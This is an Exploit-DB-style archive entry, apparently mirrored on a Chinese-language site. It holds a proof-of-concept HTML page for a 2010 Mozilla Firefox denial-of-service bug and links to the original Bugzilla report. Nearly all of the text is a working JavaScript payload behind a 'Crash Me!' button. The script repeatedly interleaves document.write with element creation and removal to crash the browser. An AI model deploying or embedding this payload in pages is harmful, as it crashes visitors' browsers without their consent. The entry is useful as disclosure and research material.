Mozilla Firefox – Interleaving ‘document.write’ / ‘appendChild’ Denial of Service

  • 作者： Daniel Veditz
    日期： 2010-10-28
  • 类别：
    平台：
  • 来源：https://www.exploit-db.com/exploits/15341/
  • Source: https://bugzilla.mozilla.org/show_bug.cgi?id=607222 
<html><body> 
 <script> 
function getatts(str){
var cobj=document.createElement(str);
cobj.id="testcase";
document.body.appendChild(cobj);
var obj=document.getElementById("testcase");
var atts = new Array(); 
for(p in obj){
if(typeof(obj[p])=="string"){
atts.push(p);
}
} 
document.body.removeChild(cobj);
return atts;
}
 
function crashme() {
var tags = new Array("audio", "a", "base");
for (inx = 0; inx < 0x8964; inx++) {
for (i = 0; i < tags.length; i++) {
var atts = getatts(tags[i]);
for (j = 0; j < atts.length; j++) {
var html = "<" + tags[i] + " " + atts[j] + "=a></" + tags[i] +
 ">" + tags[i];
document.write(html);
}
}
}
}
</script> 
<button onclick="crashme();">Crash Me!</button> 
</body></html>